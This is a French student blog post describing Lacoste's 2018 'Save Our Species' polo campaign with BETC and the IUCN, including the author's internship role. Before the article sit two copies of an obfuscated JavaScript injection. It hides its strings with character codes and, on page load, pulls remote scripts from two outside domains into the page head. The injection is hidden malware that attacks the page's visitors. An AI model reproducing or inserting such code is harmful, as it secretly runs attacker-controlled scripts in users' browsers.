Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,119,101,108,108,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); Lacoste croque son croco (Lacoste Save Our Species) - EFAP étudiants
Tout le monde connait le crocodile Lacoste. Voilà pourquoi, en mars 2018, la marque au reptile s’autorise à le troquer contre 10 animaux en voie de disparition. Chaque espèce a eu l’opportunité de remplacer le crocodile sur un certain nombre de polo, égal au nombre de spécimens restant par espèces pour un total de 1775 polos. Partenaire de l’IUCN, la marque sauve des animaux avec Lacoste Save Our Species
Betc Paris imagine en 2017 un pari osé, convaincre Lacoste de virer l’iconique crocodile de son côté droit. Cette opération proactive n’était ni une blague, ni définitif.

Une idée osée

Nombre de specimens restant par espèces

En effet Lacoste s’est associé à l’IUCN (Union International pour la Conservation de la Nature) afin de créer 10 polos en édition ultra limité, le reptile ayant été remplacé par 10 animaux en voies de disparition. La marque a donc créé un total de 1775 polos, un chiffre alarmant, d’autant plus que chaque polo fut produit au nombre exact de spécimens recensés par espèces. Tous les bénéfices de cette opération seront reversés à l’IUCN, ainsi que 70 000 € par an sur 3 ans. Un partenariat qui permet à Lacoste de se repositionner en tant que leader de la mode luxe/street et de la protection environnemental.

Le fait de jouer avec son logo iconique est très impactant et intègre parfaitement Lacoste au message voulu, il faut tout faire pour sauvegarder ces animaux. La tâche de BETC, convaincre la marque de se lancer dans le vide ne fut pas aisé, le crocodile étant pour Lacoste et pour beaucoup, la marque elle-même. Cependant, ce changement a fait le tour d’internet très rapidement, passant même par le gouvernement Mexicain qui remercia Lacoste de son initiative.

 

Du coté créatif, cette opération se veut novatrice. Peu de marque ont réussi a autant marqué le monde de la new mode (protectrice de l’environnement, rulebreaker des standards physiques etc).

 

Aussi rapide qu’un Drop Supreme

Gobelets Lacoste Save our Species lors du défilé du 28 février 2018

Il fallait être attentif pour en obtenir un. En effet, les 1775 polos partirent en 24h, dont plus de la moitié après deux heures de mise en ligne. La marque au crocodile communiqua sur cet événement à travers sa page Instagram, sa page Facebook et lors défilé de la fashion week le 28 février. Des gobelets crées pour le défilé teasaient la sortie en reprenant les logos des animaux et leurs nombres. Nombres de célébrités reprenairent les gobelets pour poster sur les réseaux.

 

 

 

Au coeur de cette opération

Ayant eu la chance de travailler sur le projet, j’ai pu assister à la création pro-active dans tous ces états :

– Le brainstorming de l’idée définitive (en découlement du partenariat avec l’IUCN)
– La création de la vidéo destinée aux relations presses
– La production des polos selon l’espèces

 

J’ai aussi créé 5 stories Instagram pour Lacoste dans le but de réaliser un deuxième temps pour l’opération, avec des questions sur le nombre de spécimens restant par espèces.
Répertorier toutes les retombés médias dans le monde sur ce « drop » Lacoste fut aussi une de mes tâches. Au total, plus de 1700 retombés presses, une cinquantaine de chaînes d’information, et certainement plusieurs Cannes Lions la semaine prochaine.

Cette initiative créative et responsable relance le débat sur l’importance que certaines grandes maisons de modes portent à l’environnement, ou non.

Vidéo de lancement